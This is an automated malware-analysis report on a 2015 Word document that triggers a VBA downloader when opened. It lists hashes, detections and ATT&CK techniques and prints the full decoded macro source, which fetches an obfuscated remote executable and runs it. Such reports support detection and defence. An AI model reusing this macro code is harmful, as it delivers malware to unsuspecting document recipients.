Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73d0d60b84393ffb…

MALICIOUS

Office (OLE)

35.0 KB Created: 2015-01-22 10:18:00 Authoring application: Microsoft Office Word First seen: 2015-03-15
MD5: 804dbe42f4d2aa25dac4d147a54b8e30 SHA-1: 11bddf29e5c27496561a53e138f7c5c1addc21a7 SHA-256: 73d0d60b84393ffbc09a94230384772ec688ff2c39a2a4de58ff705b2aa55e50
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of obfuscated VBA code. This code utilizes the URLDownloadToFile API, indicating an attempt to download and execute a second-stage payload from a remote source. The presence of legacy WordBasic auto-exec markers and VBA macros, along with the ClamAV detection, strongly suggests malicious intent.

Heuristics 10

  • ClamAV: Doc.Exploit.Dropped-77 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Dropped-77
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    j_W8 = Shell(R4_t, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    mog4O4d49 ZBGUQzMmnNQjLfJi("hot}tЂp.:\/R/'x*oimum6aF.1nneetf/cjlsP/]bki&nZ.Xewxdei"), Environ(ZBGUQzMmnNQjLfJi("T)M\P[")) & ZBGUQzMmnNQjLfJi("\zGfVlh\j(J_J7V3JtH^.…esxae|")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3320 bytes
SHA-256: ea2bdcf64a078f83c4c0dab43f0ae2681e4e25d535c32a0e60c89e2a36539c88
Detection
ClamAV: No threats found
Obfuscation or payload: likely
41 of 74 identifiers look randomly generated (e.g. 'kuddPCeAMbIaLPqebUnk') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
jQ5
End Sub

Attribute VB_Name = "Module1"

Public Function ZBGUQzMmnNQjLfJi(MMzzbkwYsQ As String) As String
GoTo QmoxUCfvciBJyeaaZe
QmoxUCfvciBJyeaaZe:
GoTo OtTFVZcTsVAkgUp
OtTFVZcTsVAkgUp:
GoTo kuddPCeAMbIaLPqebUnk
kuddPCeAMbIaLPqebUnk:
GoTo BHDPSh
BHDPSh:
For NZNKEQTrblrn = 1 To Len(MMzzbkwYsQ) Step 2
GoTo YSwLeyRLBhqqpufYf
YSwLeyRLBhqqpufYf:
GoTo VmpskIYQAjlFinAKgthS
VmpskIYQAjlFinAKgthS:
GoTo PrZqcgGgsmEBYtRKGR
PrZqcgGgsmEBYtRKGR:
GoTo TGQojMOuOUcR
TGQojMOuOUcR:
GoTo HFKiovanmCFIAao
HFKiovanmCFIAao:
ZBGUQzMmnNQjLfJi = ZBGUQzMmnNQjLfJi & Mid(MMzzbkwYsQ, NZNKEQTrblrn, 1)
GoTo BVyDQNwJjjKS
BVyDQNwJjjKS:
GoTo cGfwQxICUDbKUbQ
cGfwQxICUDbKUbQ:
GoTo OVYhEzdfLRlti
OVYhEzdfLRlti:
GoTo JIMyELdDCSILDcFk
JIMyELdDCSILDcFk:
GoTo EZOFTeMMzzbkwYsQvN
EZOFTeMMzzbkwYsQvN:
GoTo KEQTrblrnzPQmoxUC
KEQTrblrnzPQmoxUC:
Next
GoTo iBJye
iBJye:
GoTo ZeOHO
ZeOHO:
GoTo FVZcTsVAkgUpgVkuddP
FVZcTsVAkgUpgVkuddP:
End Function


Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "dfsdfsdf"
#If VBA7 Then
    Private Declare PtrSafe Function GHJbkjJKG Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As LongPtr) As LongPtr
#Else
    Private Declare Function GHJbkjJKG Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As Long, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As Long) As Long
#End If
Public Function ZXVDwjtQQrzvB71() As Integer
Dim wFLdECQJIjCco17, aclHuKhrZdvFz71, ZGHsTHAroMpPX33, fjJHrRdaoktmZ65 As String
Dim fcBkLtHUPAViT23, mWaFlcfvpbGqs65, xjTEqCqYYumMA98, jHsPLZznaTPjl82 As Integer
fcBkLtHUPAViT23 = 6394
wFLdECQJIjCco17 = R
mWaFlcfvpbGqs65 = Asc(wFLdECQJIjCco17)
If fcBkLtHUPAViT23 > mWaFlcfvpbGqs65 Then
    For xjTEqCqYYumMA98 = 1 To 54
       jHsPLZznaTPjl82 = mWaFlcfvpbGqs65 + xjTEqCqYYumMA98
    Next xjTEqCqYYumMA98
jHsPLZznaTPjl82 = jHsPLZznaTPjl82 + fcBkLtHUPAViT23
aclHuKhrZdvFz71 = CStr(jHsPLZznaTPjl82)
ZGHsTHAroMpPX33 = Mid$(aclHuKhrZdvFz71, 1, 4)
fjJHrRdaoktmZ65 = fjJHrRdaoktmZ65 & "25"
ZXVDwjtQQrzvB71 = CInt(Mid$(fjJHrRdaoktmZ65, 2, 6))
Else
ZXVDwjtQQrzvB71 = 54 + 6394
MsgBox ("dvuZGYOgDjMWl95")
End Function


Sub jQ5()
mog4O4d49 ZBGUQzMmnNQjLfJi("hot}tЂp.:\/R/'x*oimum6aF.1nneetf/cjlsP/]bki&nZ.Xewxdei"), Environ(ZBGUQzMmnNQjLfJi("T)M\P[")) & ZBGUQzMmnNQjLfJi("\zGfVlh\j(J_J7V3JtH^.…esxae|")
End Sub
Function mog4O4d49(Mh9_094suu As String, R4_t As String) As Boolean
vJHKBJdfkgfg = GHJbkjJKG(0&, Mh9_094suu, R4_t, 0&, 0&)
Dim j_W8
j_W8 = Shell(R4_t, 1)
End Function




Attribute VB_Name = "Module2"

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